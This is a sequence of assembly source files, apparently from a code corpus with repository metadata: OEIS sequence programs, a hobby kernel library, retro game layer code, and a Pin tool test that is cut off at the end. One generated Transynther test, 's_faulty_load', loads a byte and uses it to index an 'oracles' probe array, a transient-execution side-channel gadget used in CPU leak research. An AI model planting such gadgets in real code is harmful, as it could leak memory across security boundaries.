; A075415: Squares of A002280 or numbers (666...6)^2. ; 0,36,4356,443556,44435556,4444355556,444443555556,44444435555556,4444444355555556,444444443555555556,44444444435555555556,4444444444355555555556,444444444443555555555556,44444444444435555555555556,4444444444444355555555555556,444444444444443555555555555556,44444444444444435555555555555556,4444444444444444355555555555555556,444444444444444443555555555555555556,44444444444444444435555555555555555556,4444444444444444444355555555555555555556,444444444444444444443555555555555555555556 mov $1,10 pow $1,$0 sub $1,1 pow $1,2 div $1,81 mul $1,36 mov $0,$1
55.454545
486
0.881967
d6ebac71a2cc062514a04ff936a92266f7433e09
1,254
asm
Assembly
Kernel/asm/libasm.asm
srosati/TPE_ARQUI
b2e6a3b56c0a82026a353a9e4f487b629861440e
[ "BSD-3-Clause" ]
null
null
null
Kernel/asm/libasm.asm
srosati/TPE_ARQUI
b2e6a3b56c0a82026a353a9e4f487b629861440e
[ "BSD-3-Clause" ]
null
null
null
Kernel/asm/libasm.asm
srosati/TPE_ARQUI
b2e6a3b56c0a82026a353a9e4f487b629861440e
[ "BSD-3-Clause" ]
null
null
null
GLOBAL cpuVendor GLOBAL getKey GLOBAL saveRegisters GLOBAL saveRIP GLOBAL getRegisters GLOBAL getMem section .text cpuVendor: push rbp mov rbp, rsp push rbx mov rax, 0 cpuid mov [rdi], ebx mov [rdi + 4], edx mov [rdi + 8], ecx mov byte [rdi+13], 0 mov rax, rdi pop rbx mov rsp, rbp pop rbp ret saveRIP: mov [registers+128], rdi ret saveRegisters: mov [registers], rax mov [registers+8], rbx mov [registers+16], rcx mov [registers+24], rdx mov [registers+32], rbp mov [registers+40], rsp mov [registers+48], rsi mov [registers+56], rdi mov [registers+64], r8 mov [registers+72], r9 mov [registers+80], r10 mov [registers+88], r11 mov [registers+96], r12 mov [registers+104], r13 mov [registers+112], r14 mov [registers+120], r15 ret getRegisters: push rax push rbx push rcx mov rax, 0 mov rbx, 0 .loop: mov rcx, [registers+rbx] mov [rdi+rbx], rcx add rbx, 8 inc rax cmp rax, 17 jl .loop pop rcx pop rbx pop rax ret getKey: push rbp mov rbp, rsp in al, 0x60 mov rsp, rbp pop rbp ret getMem: push rbp mov rbp, rsp push rbx .loop: mov bl, [rdi] mov [rsi], bl inc rdi inc rsi dec rdx cmp rdx, 0 jg .loop pop rbx mov rsp, rbp pop rbp ret section .bss registers resb 136
11.942857
25
0.669856
d3d2d1e1dc198b997c6ee273c87f0cc2581ff698
4,133
asm
Assembly
ScrollModus/_code/GlobalCode/layers.asm
kosmonautdnb/TheLandsOfZador
66c9e8ab92f617838afe793a6c9ddaaf7273aadc
[ "MIT" ]
null
null
null
ScrollModus/_code/GlobalCode/layers.asm
kosmonautdnb/TheLandsOfZador
66c9e8ab92f617838afe793a6c9ddaaf7273aadc
[ "MIT" ]
null
null
null
ScrollModus/_code/GlobalCode/layers.asm
kosmonautdnb/TheLandsOfZador
66c9e8ab92f617838afe793a6c9ddaaf7273aadc
[ "MIT" ]
null
null
null
layersNoSound dc.b $00 ytemplayer dc.b $00 SUBROUTINE ;------------------------------------------------------------- ;-- updates the layer status (nr in accu) ;------------------------------------------------------------- updateLayer pha sta .todo + 1 txa pha tya pha jsr waitForScrollDone jsr switchFrame jsr callLevelClearFunc jsr switchFrame jsr callLevelClearFunc .todo lda #$44 asl tax lda layers + 0,x sta ZP_BYTE + 0 lda layers + 1,x sta ZP_BYTE + 1 ldy #$00 ; on off lda (ZP_BYTE),y sta .iny1 + 1 sta .iny2 + 1 sta .jsrX + 1 iny ldx #$00 .next lda (ZP_BYTE),y cmp #$ff beq .done sta stoneXPos iny lda (ZP_BYTE),y sta stoneYPos iny .iny1 lda #$44 beq .noiny1 iny .noiny1 lda (ZP_BYTE),y sta stoneNr .iny2 lda #$44 bne .noiny2 iny .noiny2 jsr drawStoneOnXY txa and #$03 ora layersNoSound ora stoneOutsideScreen bne .nosound lda #SOUND_LAYERREMOVE ldx .iny1 + 1 beq .notbuild lda #SOUND_LAYERBUILD .notbuild jsr triggerSound .nosound inx iny jmp .next .done sty ytemplayer lda .todo + 1 asl tax lda layerJump + 0,x sta .jsr + 1 lda layerJump + 1,x sta .jsr + 2 .jsrX ldx #$44 .jsr jsr $4444 lda frameCounter + 0 sta lastFrameCounterGameLogik + 0 pla tay pla tax pla rts SUBROUTINE ;------------------------------------------------------------- ;-- activates a layer layer Number in Accu ;------------------------------------------------------------- activateLayer sta .todo + 1 txa pha tya pha .todo lda #$44 asl tax lda layers + 0,x sta .modi1 + 1 sta .modi2 + 1 lda layers + 1,x sta .modi1 + 2 sta .modi2 + 2 .modi1 lda $4444 and #$01 bne .alreadyEnabled lda #$01 .modi2 sta $4444 lda .todo + 1 jsr updateLayer ldy ytemplayer iny lda (ZP_BYTE),y cmp #$fe bne .nolayeritem iny lda (ZP_BYTE),y sta enemyAddPosX + 0 iny lda (ZP_BYTE),y sta enemyAddPosY + 0 lda #ITEMGAMEOBJECT sta enemyAddGameObjectIndexStart lda #ITEMGAMEOBJECT + 1 sta enemyAddGameObjectIndexEnd lda enemyAddPosX + 0 lsr lsr lsr lsr lsr lsr sta enemyAddPosX + 1 lda enemyAddPosX + 0 asl asl sta enemyAddPosX + 0 lda enemyAddPosY + 0 lsr lsr lsr lsr lsr sta enemyAddPosY + 1 lda enemyAddPosY + 0 asl asl asl sta enemyAddPosY + 0 lda #GAMEOBJECT_COLLISIONTYPE_COLLECTABLE sta enemyAddCollisionType lda #NOLEVELENEMY sta enemyAddLevelEnemyIndex lda #ENEMY_TYPE_ITEM sta enemyAddEnemyType lda #COLLECTABLE_TYPE_ITEM sta enemyAddPropertyIntern jsr addEnemyIntern .nolayeritem .alreadyEnabled pla tay pla tax rts SUBROUTINE ;------------------------------------------------------------- ;-- activates a layer layer Number in Accu ;------------------------------------------------------------- deactivateLayer sta .todo + 1 txa pha .todo lda #$44 asl tax lda layers + 0,x sta .modi1 + 1 sta .modi2 + 1 lda layers + 1,x sta .modi1 + 2 sta .modi2 + 2 .modi1 lda $4444 and #$01 beq .alreadyDisabled lda #$00 .modi2 sta $4444 lda .todo + 1 jsr updateLayer .alreadyDisabled pla tax rts SUBROUTINE ;------------------------------------------------------------- ;-- switches a layer ;------------------------------------------------------------- switchLayer pha stx .xrestore + 1 asl tax lda layers + 0,x sta .modi + 1 lda layers + 1,x sta .modi + 2 .xrestore ldx #$44 .modi lda $4444 bne .deactivate pla jmp activateLayer .deactivate pla jmp deactivateLayer SUBROUTINE ;------------------------------------------------------------- ;-- activates a layer layer Number in Accu ;------------------------------------------------------------- stoneXPos dc.b $00 stoneYPos dc.b $00 stoneNr dc.b $00 drawStoneOnXY pha txa pha tya pha lda stoneXPos asl asl tax lda DIV4MUL64TAB64MAPLO,x clc adc stoneYPos sta .write + 1 lda DIV4MUL64TAB64MAPHI,x adc #$00 sta .write + 2 lda stoneNr .write sta $4444 lda stoneXPos asl asl sta rectLevelXS lda stoneYPos asl asl sta rectLevelYS lda rectLevelXS clc adc #$04 sta rectLevelXE lda rectLevelYS clc adc #$04 sta rectLevelYE jsr redrawPortion pla tay pla tax pla rts
13.079114
62
0.593758
d3e042d36508c3a5f3b110e2a33996aacdb193a8
270
asm
Assembly
oeis/221/A221146.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/221/A221146.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/221/A221146.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A221146: Table read by antidiagonals: (m+n) - (m XOR n). ; Submitted by Simon Strandgaard ; 0,0,0,0,2,0,0,0,0,0,0,2,4,2,0,0,0,4,4,0,0,0,2,0,6,0,2,0,0,0,0,0,0,0,0,0,0,2,4,2 seq $0,4198 ; Table of x AND y, where (x,y) = (0,0),(0,1),(1,0),(0,2),(1,1),(2,0),... mul $0,2
38.571429
85
0.551852
c2e5f987b4af27a7603f08b1e320bb66f477e680
336
asm
Assembly
libsrc/_DEVELOPMENT/adt/b_vector/c/sccz80/b_vector_erase_callee.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/_DEVELOPMENT/adt/b_vector/c/sccz80/b_vector_erase_callee.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/_DEVELOPMENT/adt/b_vector/c/sccz80/b_vector_erase_callee.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
; size_t b_vector_erase(b_vector_t *v, size_t idx) SECTION code_clib SECTION code_adt_b_vector PUBLIC b_vector_erase_callee EXTERN b_array_erase_callee defc b_vector_erase_callee = b_array_erase_callee ; SDCC bridge for Classic IF __CLASSIC PUBLIC _b_vector_erase_callee defc _b_vector_erase_callee = b_vector_erase_callee ENDIF
17.684211
51
0.860119
ce36bb4c0a530d38d6c728c51b127ed84cde1ec0
6,942
asm
Assembly
Transynther/x86/_processed/NONE/_zr_/i9-9900K_12_0xca.log_21829_1661.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_zr_/i9-9900K_12_0xca.log_21829_1661.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_zr_/i9-9900K_12_0xca.log_21829_1661.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r14 push %r15 push %r8 push %rbp push %rbx push %rcx push %rdi push %rsi lea addresses_UC_ht+0xe55d, %rsi lea addresses_WT_ht+0x13c86, %rdi nop cmp $20218, %r15 mov $87, %rcx rep movsq nop nop sub $28048, %r8 lea addresses_UC_ht+0x1051d, %r15 nop nop nop nop xor $14116, %rcx movb $0x61, (%r15) nop nop nop and $13068, %r8 lea addresses_WT_ht+0x151dd, %rsi lea addresses_A_ht+0x14cdd, %rdi nop add %rbx, %rbx mov $48, %rcx rep movsq nop nop nop nop sub $30465, %rsi lea addresses_normal_ht+0x9add, %rsi nop nop nop nop sub %r8, %r8 movups (%rsi), %xmm3 vpextrq $1, %xmm3, %rcx nop inc %rsi lea addresses_normal_ht+0x1bf95, %rsi lea addresses_UC_ht+0xae7d, %rdi nop nop nop nop nop sub $14559, %rbp mov $52, %rcx rep movsb nop nop nop nop add $6636, %rdi lea addresses_normal_ht+0x11bdd, %rbp xor %rbx, %rbx movups (%rbp), %xmm0 vpextrq $0, %xmm0, %rcx nop xor %rsi, %rsi lea addresses_D_ht+0xc1dd, %rsi lea addresses_UC_ht+0x16245, %rdi nop add %r14, %r14 mov $64, %rcx rep movsq nop nop nop nop nop and $32274, %rcx lea addresses_A_ht+0x4f3d, %rsi nop nop nop nop xor %rbx, %rbx movl $0x61626364, (%rsi) nop nop sub $39446, %rsi lea addresses_D_ht+0xe0d4, %r15 cmp $45259, %rcx mov (%r15), %esi nop nop and $40663, %r8 lea addresses_D_ht+0x5dfd, %rbx nop nop nop xor $18351, %rbp mov (%rbx), %rdi nop nop and $51418, %r15 lea addresses_WT_ht+0xafed, %rsi nop nop nop sub $20071, %rbp movb $0x61, (%rsi) nop nop nop nop nop and %rbp, %rbp pop %rsi pop %rdi pop %rcx pop %rbx pop %rbp pop %r8 pop %r15 pop %r14 ret .global s_faulty_load s_faulty_load: push %r13 push %r15 push %r9 push %rcx push %rdx push %rsi // Store lea addresses_A+0xb45d, %rsi clflush (%rsi) nop nop nop nop nop dec %r9 movb $0x51, (%rsi) nop nop nop and $3794, %r15 // Faulty Load lea addresses_UC+0x12dd, %rdx clflush (%rdx) sub %r13, %r13 movb (%rdx), %r15b lea oracles, %rsi and $0xff, %r15 shlq $12, %r15 mov (%rsi,%r15,1), %r15 pop %rsi pop %rdx pop %rcx pop %r9 pop %r15 pop %r13 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'size': 1, 'NT': False, 'type': 'addresses_UC', 'same': False, 'AVXalign': False, 'congruent': 0}} {'OP': 'STOR', 'dst': {'size': 1, 'NT': False, 'type': 'addresses_A', 'same': False, 'AVXalign': False, 'congruent': 2}} [Faulty Load] {'OP': 'LOAD', 'src': {'size': 1, 'NT': False, 'type': 'addresses_UC', 'same': True, 'AVXalign': False, 'congruent': 0}} <gen_prepare_buffer> {'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_UC_ht', 'congruent': 7}, 'dst': {'same': False, 'type': 'addresses_WT_ht', 'congruent': 0}} {'OP': 'STOR', 'dst': {'size': 1, 'NT': True, 'type': 'addresses_UC_ht', 'same': False, 'AVXalign': False, 'congruent': 6}} {'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_WT_ht', 'congruent': 1}, 'dst': {'same': False, 'type': 'addresses_A_ht', 'congruent': 5}} {'OP': 'LOAD', 'src': {'size': 16, 'NT': False, 'type': 'addresses_normal_ht', 'same': False, 'AVXalign': False, 'congruent': 11}} {'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_normal_ht', 'congruent': 3}, 'dst': {'same': False, 'type': 'addresses_UC_ht', 'congruent': 4}} {'OP': 'LOAD', 'src': {'size': 16, 'NT': False, 'type': 'addresses_normal_ht', 'same': True, 'AVXalign': False, 'congruent': 7}} {'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_D_ht', 'congruent': 8}, 'dst': {'same': False, 'type': 'addresses_UC_ht', 'congruent': 1}} {'OP': 'STOR', 'dst': {'size': 4, 'NT': False, 'type': 'addresses_A_ht', 'same': False, 'AVXalign': False, 'congruent': 5}} {'OP': 'LOAD', 'src': {'size': 4, 'NT': False, 'type': 'addresses_D_ht', 'same': False, 'AVXalign': False, 'congruent': 0}} {'OP': 'LOAD', 'src': {'size': 8, 'NT': False, 'type': 'addresses_D_ht', 'same': False, 'AVXalign': False, 'congruent': 5}} {'OP': 'STOR', 'dst': {'size': 1, 'NT': False, 'type': 'addresses_WT_ht', 'same': True, 'AVXalign': False, 'congruent': 4}} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
35.6
2,999
0.656583
57bd07a95167bacb8ab10d6528ef3310bb2b480f
586
asm
Assembly
programs/oeis/029/A029938.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/029/A029938.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/029/A029938.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A029938: (p-5)(p-7)/24, where p=prime(n). ; 0,0,1,2,5,7,12,22,26,40,51,57,70,92,117,126,155,176,187,222,247,287,345,376,392,425,442,477,610,651,715,737,852,876,950,1027,1080,1162,1247,1276,1426,1457,1520,1552,1751,1962,2035,2072,2147,2262,2301,2501,2625,2752,2882,2926,3060,3151,3197,3432,3775,3876,3927,4030,4401,4565,4845,4902,5017,5192,5430,5612,5797,5922,6112,6370,6501,6767,7107,7176,7526,7597,7812,7957,8177,8475,8626,8702,8855,9322,9640,9801,10127,10292,10542,11051,11137,11926,12195,12650 add $0,1 seq $0,98090 ; Numbers k such that 2k-3 is prime. sub $0,4 bin $0,2 div $0,3
65.111111
454
0.738908
b990a72e78cd3670ad43426bbb9f704aba400f66
392
asm
Assembly
oeis/212/A212761.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/212/A212761.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/212/A212761.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A212761: Number of (w,x,y,z) with all terms in {0,...,n}, w odd, x and y even. ; Submitted by Jamie Morken(s4) ; 0,2,12,32,90,162,336,512,900,1250,1980,2592,3822,4802,6720,8192,11016,13122,17100,20000,25410,29282,36432,41472,50700,57122,68796,76832,91350,101250,119040,131072,152592,167042,192780,209952,240426 add $0,1 mov $1,$0 mov $2,$0 div $0,2 sub $2,$0 mul $0,$1 mul $0,$2 mul $0,$2
30.153846
199
0.696429
6a09039a2d3b04b525163173bd16628ddc0010c7
205
asm
Assembly
ffight/lcs/boss/68.asm
zengfr/arcade_game_romhacking_sourcecode_top_secret_data
a4a0c86c200241494b3f1834cd0aef8dc02f7683
[ "Apache-2.0" ]
6
2020-10-14T15:29:10.000Z
2022-02-12T18:58:54.000Z
ffight/lcs/boss/68.asm
zengfr/arcade_game_romhacking_sourcecode_top_secret_data
a4a0c86c200241494b3f1834cd0aef8dc02f7683
[ "Apache-2.0" ]
null
null
null
ffight/lcs/boss/68.asm
zengfr/arcade_game_romhacking_sourcecode_top_secret_data
a4a0c86c200241494b3f1834cd0aef8dc02f7683
[ "Apache-2.0" ]
1
2020-12-17T08:59:10.000Z
2020-12-17T08:59:10.000Z
copyright zengfr site:http://github.com/zengfr/romhack 0075BE ori.b #$1, ($68,A1) [1p+17] 0075C4 move.b ($2e,A1), ($3e,A3) [boss+68, enemy+68] copyright zengfr site:http://github.com/zengfr/romhack
29.285714
54
0.687805
c9f0360eca15222027e26088a1783e324e752123
7,581
asm
Assembly
dbi_clients_src/pin/pin-3.6-97554-g31f0a167d-gcc-linux/source/tools/ToolUnitTests/inlined-stack-arg2_win_intel64.asm
DigitalAlchemist/fuzzwatch
32517e7b80b680dd658e833ed2dfdd88744e6694
[ "Apache-2.0" ]
326
2019-08-10T21:17:22.000Z
2022-03-22T08:40:47.000Z
dbi_clients_src/pin/pin-3.6-97554-g31f0a167d-gcc-linux/source/tools/ToolUnitTests/inlined-stack-arg2_win_intel64.asm
DigitalAlchemist/fuzzwatch
32517e7b80b680dd658e833ed2dfdd88744e6694
[ "Apache-2.0" ]
42
2019-08-13T12:48:19.000Z
2021-11-03T12:57:59.000Z
dbi_clients_src/pin/pin-3.6-97554-g31f0a167d-gcc-linux/source/tools/ToolUnitTests/inlined-stack-arg2_win_intel64.asm
DigitalAlchemist/fuzzwatch
32517e7b80b680dd658e833ed2dfdd88744e6694
[ "Apache-2.0" ]
66
2019-08-10T21:41:38.000Z
2022-03-17T13:03:42.000Z
; BEGIN_LEGAL ; Intel Open Source License ; ; Copyright (c) 2002-2017 Intel Corporation. All rights reserved. ; ; Redistribution and use in source and binary forms, with or without ; modification, are permitted provided that the following conditions are ; met: ; ; Redistributions of source code must retain the above copyright notice, ; this list of conditions and the following disclaimer. Redistributions ; in binary form must reproduce the above copyright notice, this list of ; conditions and the following disclaimer in the documentation and/or ; other materials provided with the distribution. Neither the name of ; the Intel Corporation nor the names of its contributors may be used to ; endorse or promote products derived from this software without ; specific prior written permission. ; ; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS ; ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT ; LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR ; A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE INTEL OR ; ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, ; SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT ; LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, ; DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY ; THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT ; (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE ; OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ; END_LEGAL PUBLIC Analysis_func PUBLIC Analysis_func_immed PUBLIC Analysis_func_reg_overwrite .code Analysis_func PROC push rbx push rsi push rdi sub rsp, 16 mov QWORD PTR[rsp], rbx mov QWORD PTR[rsp+8], rcx mov rbx, QWORD PTR [rsp+80] mov ebx, DWORD PTR [rsp+80] mov bx, WORD PTR [rsp+80] mov bl, BYTE PTR [rsp+80] cmp rbx, QWORD PTR [rsp+80] cmp ebx, DWORD PTR [rsp+80] cmp bx, WORD PTR [rsp+80] cmp bl, BYTE PTR [rsp+80] cmp QWORD PTR [rsp+80], rbx cmp DWORD PTR [rsp+80], ebx cmp WORD PTR [rsp+80], bx cmp BYTE PTR [rsp+80], bl add rbx, QWORD PTR [rsp+80] add ebx, DWORD PTR [rsp+80] add bx, WORD PTR [rsp+80] add bl, BYTE PTR [rsp+80] adc rbx, QWORD PTR [rsp+80] adc ebx, DWORD PTR [rsp+80] adc bx, WORD PTR [rsp+80] adc bl, BYTE PTR [rsp+80] sub rbx, QWORD PTR [rsp+80] sub ebx, DWORD PTR [rsp+80] sub bx, WORD PTR [rsp+80] sub bl, BYTE PTR [rsp+80] sbb rbx, QWORD PTR [rsp+80] sbb ebx, DWORD PTR [rsp+80] sbb bx, WORD PTR [rsp+80] sbb bl, BYTE PTR [rsp+80] xor rbx, QWORD PTR [rsp+80] xor ebx, DWORD PTR [rsp+80] xor bx, WORD PTR [rsp+80] xor bl, BYTE PTR [rsp+80] or rbx, QWORD PTR [rsp+80] or ebx, DWORD PTR [rsp+80] or bx, WORD PTR [rsp+80] or bl, BYTE PTR [rsp+80] movzx rbx, WORD PTR [rsp+80] movzx rbx, BYTE PTR [rsp+80] movzx ebx, BYTE PTR [rsp+80] movzx bx, BYTE PTR [rsp+80] movsx rbx, WORD PTR [rsp+80] movsx rbx, BYTE PTR [rsp+80] movsx ebx, BYTE PTR [rsp+80] movsx bx, BYTE PTR [rsp+80] mov rbx, QWORD PTR[rsp] mov rcx, QWORD PTR[rsp+8] add rsp, 16 pop rdi pop rsi pop rbx ret Analysis_func ENDP Analysis_func_immed PROC push rbx mov rbx, QWORD PTR [rsp+48] mov ebx, DWORD PTR [rsp+48] mov bx, WORD PTR [rsp+48] mov bl, BYTE PTR [rsp+48] cmp rbx, QWORD PTR [rsp+48] cmp ebx, DWORD PTR [rsp+48] cmp bx, WORD PTR [rsp+48] cmp bl, BYTE PTR [rsp+48] cmp QWORD PTR [rsp+48], rbx cmp DWORD PTR [rsp+48], ebx cmp WORD PTR [rsp+48], bx cmp BYTE PTR [rsp+48], bl cmp QWORD PTR [rsp+48], 0baadf00dH cmp DWORD PTR [rsp+48], 0baadf00dH cmp WORD PTR [rsp+48], 0baadH cmp BYTE PTR [rsp+48], 0baH add rbx, QWORD PTR [rsp+48] add ebx, DWORD PTR [rsp+48] add bx, WORD PTR [rsp+48] add bl, BYTE PTR [rsp+48] adc rbx, QWORD PTR [rsp+48] adc ebx, DWORD PTR [rsp+48] adc bx, WORD PTR [rsp+48] adc bl, BYTE PTR [rsp+48] sub rbx, QWORD PTR [rsp+48] sub ebx, DWORD PTR [rsp+48] sub bx, WORD PTR [rsp+48] sub bl, BYTE PTR [rsp+48] sbb rbx, QWORD PTR [rsp+48] sbb ebx, DWORD PTR [rsp+48] sbb bx, WORD PTR [rsp+48] sbb bl, BYTE PTR [rsp+48] xor rbx, QWORD PTR [rsp+48] xor ebx, DWORD PTR [rsp+48] xor bx, WORD PTR [rsp+48] xor bl, BYTE PTR [rsp+48] or rbx, QWORD PTR [rsp+48] or ebx, DWORD PTR [rsp+48] or bx, WORD PTR [rsp+48] or bl, BYTE PTR [rsp+48] movzx rbx, WORD PTR [rsp+48] movzx rbx, BYTE PTR [rsp+48] movzx ebx, BYTE PTR [rsp+48] movzx bx, BYTE PTR [rsp+48] movsx rbx, WORD PTR [rsp+48] movsx rbx, BYTE PTR [rsp+48] movsx bx, BYTE PTR [rsp+48] movsx ebx, BYTE PTR [rsp+48] pop rbx ret Analysis_func_immed ENDP Analysis_func_reg_overwrite PROC push rbx push rsi push rdi sub rsp, 16 mov esi, eax mov QWORD PTR[rsp], rbx mov QWORD PTR[rsp+8], rcx mov rbx, QWORD PTR [rsp+80] mov ebx, DWORD PTR [rsp+80] mov bx, WORD PTR [rsp+80] mov bl, BYTE PTR [rsp+80] cmp rbx, QWORD PTR [rsp+80] cmp ebx, DWORD PTR [rsp+80] cmp bx, WORD PTR [rsp+80] cmp bl, BYTE PTR [rsp+80] cmp QWORD PTR [rsp+80], rbx cmp DWORD PTR [rsp+80], ebx cmp WORD PTR [rsp+80], bx cmp BYTE PTR [rsp+80], bl add rbx, QWORD PTR [rsp+80] add ebx, DWORD PTR [rsp+80] add bx, WORD 